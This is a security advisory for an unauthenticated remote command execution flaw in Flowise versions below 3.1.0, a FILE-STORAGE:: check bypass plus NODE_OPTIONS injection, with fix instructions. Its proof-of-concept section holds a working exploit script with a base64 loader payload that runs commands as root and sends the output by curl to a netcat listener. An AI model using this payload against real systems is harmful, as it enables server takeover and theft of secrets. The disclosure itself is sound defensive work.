Skip to content

GHSA-cvrr-qhgw-2mm6 CVE-2026-41268

Flowise: Parameter Override Bypass Remote Command Execution

Critical npm
Severity
7.7 / 10
Critical · CVSS 3.0
Exploit chance (EPSS)
17.44%
Chance of exploitation in the next 30 days. Higher than 97.13% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-20 Improper Input Validation
Fix
Available
2 packages have a fixed version

Description

Summary

Flowise is vulnerable to a critical unauthenticated remote command execution (RCE) vulnerability. It can be exploited via a parameter override bypass using the FILE-STORAGE:: keyword combined with a NODE_OPTIONS environment variable injection. This allows for the execution of arbitrary system commands with root privileges within the containerized Flowise instance, requiring only a single HTTP request and no authentication or knowledge of the instance.

Details

The vulnerability is in a validation check within the replaceInputsWithConfig function within packages/server/src/utils/index.ts. The check for FILE-STORAGE:: was intended to handle file-type inputs but has three issues:

  1. Uses .includes() instead of .startsWith(): The check passes if FILE-STORAGE:: appears ANYWHERE in the string, not just at the beginning. A remote user can embed it in a comment: /* FILE-STORAGE:: */ { custom config }

  2. No parameter type validation: The check doesn't verify that the parameter is actually a file-type input. It applies to ANY parameter name, including mcpServerConfig.

  3. Complete bypass, not partial: When the check passes, it skips the isParameterEnabled() call entirely, allowing modification of parameters that administrators never authorized.

Vulnerable Code (FILE-STORAGE:: bypass):

// packages/server/src/utils/index.ts, line 1192-1198
// Skip if it is an override "files" input, such as pdfFile, txtFile, etc
if (typeof overrideConfig[config] === 'string' && overrideConfig[config].includes('FILE-STORAGE::')) {
    // pass  <-- BYPASSES ALL VALIDATION
} else if (!isParameterEnabled(flowNodeData.label, config)) {
    // Only proceed if the parameter is enabled
    continue
}

This bypass allows an attacker to override the mcpServerConfig and inject a malicious NODE_OPTIONS value. The Custom MCP node's environment variable blocklist does not include NODE_OPTIONS, enabling an attacker to use the --experimental-loader to execute arbitrary JavaScript code before the main process starts.

Vulnerable Code (NODE_OPTIONS not blocked):

// packages/components/nodes/tools/MCP/core.ts, line 248-254
const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH']

for (const [key, value] of Object.entries(env)) {
    if (dangerousEnvVars.includes(key)) {
        throw new Error(`Environment variable '${key}' modification is not allowed`)
    }
}

Requirements

API Override Enabled The chatflow must have "API Override" toggled ON in Chatflow Configuration. Public Chatflow The chatflow must be shared publicly. MCP Node The chatflow must contain a MCP tool node (Custom MCP tool was tested and confirmed).

Although not enabled by default, the API Override feature is a powerful and officially documented capability that may be used in production deployments. Its primary purpose is to make chatflows dynamic and user-aware.

Common use cases that necessitate enabling this feature include:

  • Session Management: Passing a unique sessionId or chatId for each user to maintain separate conversation histories.
  • User-Specific Variables: Injecting user data such as name, preferences, or role into prompts to create personalized experiences.
  • Dynamic Tool Selection: Allowing users to specify which data sources or APIs to query based on their needs.
  • Multi-Tenant Applications: Supporting different configurations for each customer or organization without deploying separate chatflows.
  • A/B Testing: Evaluating different prompts or models in a live environment.

Setup

To reproduce the vulnerability, follow these steps:

Step 1: Start Flowise Instance

docker run -d --name flowise-test -p 3000:3000 flowiseai/flowise:latest

Step 2: Configure a Public Chatflow with MCP Tool

  1. Navigate to http://localhost:3000 and create an account.
  2. Create a new chatflow.
  3. Add a Custom MCP node and a Custom JS Function node.
  4. Connect the Custom MCP output to the Custom JS Function's tools input.
  5. Configure the Custom JS Function to be an Ending Node with the code: return $tools ? "Tools loaded" : "No tools";
  6. Configure the Custom MCP with the MCP Server Config: {"command":"npx","args":["-y","@modelcontextprotocol/server-everything"]}
  7. Save the chatflow and note the chatflowId from the URL.
  8. In Chatflow Configuration, enable API Override and make the chatflow Public.

PoC

Single-Request RCE with remote command output retrieval. The following demonstrates arbitrary command execution with automatic data transmission to a remote listener:

Step 1: Setup Listener

# Start netcat listener to receive transmitted data
# Note: If testing locally, run this in a separate terminal
nc -lvnp 5000
echo "Listener started on port 5000..."

Step 2: Trigger Exploit

#!/bin/bash

CHATFLOW_ID="ABC-123-..."
TARGET="http://localhost:3000"
LISTENER_IP="172.17.0.1" # Docker local IP for testing

# Payload: Execute commands and transmit output to remote listener
LOADER_CODE='import{execSync}from"child_process";const cmd="id && pwd && ls";const out=execSync(cmd).toString();try{execSync("curl -s -m 3 --data-binary \""+out+"\" http://'$LISTENER_IP':5000");}catch(e){}export{};'

ENCODED=$(echo -n "$LOADER_CODE" | base64 | tr -d '\n')

# Construct the crafted MCP config
CONFIG='{"command":"npx","args":["-y","@modelcontextprotocol/server-everything"],"env":{"NODE_OPTIONS":"--experimental-loader data:text/javascript;base64,'$ENCODED'"}}'
CONFIG_ESCAPED=$(echo "$CONFIG" | sed 's/"/\\"/g')

# Single request triggers RCE
curl -X POST "$TARGET/api/v1/prediction/$CHATFLOW_ID" \
  -H "Content-Type: application/json" \
  -d "{
    \"question\": \"trigger\",
    \"overrideConfig\": {
      \"mcpServerConfig\": \"/* FILE-STORAGE:: */ $CONFIG_ESCAPED\"
    }
  }"

Step 3: Verify Command Execution

# Check the listener output
Connection received...
POST / HTTP/1.1
Host: 172.17.0.1:5000
User-Agent: curl/8.17.0
Accept: */*
Content-Length: 214
Content-Type: application/x-www-form-urlencoded

uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/
bin
dev
etc
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

Impact

This vulnerability allows for:

  • Full Container Compromise: Arbitrary command execution as the root user.
  • Data Exfiltration: Access to all secrets, credentials, and user data within the container.
  • Lateral Movement: A pivot point for attacking internal networks and other connected systems.

The exploit requires no prior authentication, no specific knowledge of the target instance, and is executed with a single HTTP POST request, making it a critical and easily exploitable vulnerability.

Credit

Jeremy Brown

Affected versions

npm

PackageVulnerableFixed in
flowise
< 3.1.0
3.1.0
flowise-components
< 3.1.0
3.1.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

flowise npm → 3.1.0

npm
npm install flowise@3.1.0
yarn
yarn add flowise@3.1.0
pnpm
pnpm add flowise@3.1.0

flowise-components npm → 3.1.0

npm
npm install flowise-components@3.1.0
yarn
yarn add flowise-components@3.1.0
pnpm
pnpm add flowise-components@3.1.0

Severity breakdown

CVSS 3.0 7.7

CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

Weakness

CWE-20: Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

How to prevent it
  • Architecture and Design: Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
  • Architecture and Design: Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
  • Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
  • Implementation: Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
  • Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
  • Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-w7x8-q2gp-5cgg
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
Critical Also affects flowise
GHSA-9gvv-qjj3-2p6g
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
High Also affects flowise
GHSA-qgvm-j2hm-6m38
Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service
Critical Also affects flowise
GHSA-5xvg-pmgg-3mxr
Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability
Critical Also affects flowise
GHSA-gmmw-qg98-6j6p
Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation
High Also affects flowise
GHSA-8gj2-2cvc-6xx7
Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials
Medium Also affects flowise
GHSA-fm2f-4339-4p2f
Flowise: Missing Authorization on Execution Update Endpoint
Medium Also affects flowise
GHSA-wch5-xp77-fxg4
Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
High Also affects flowise
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor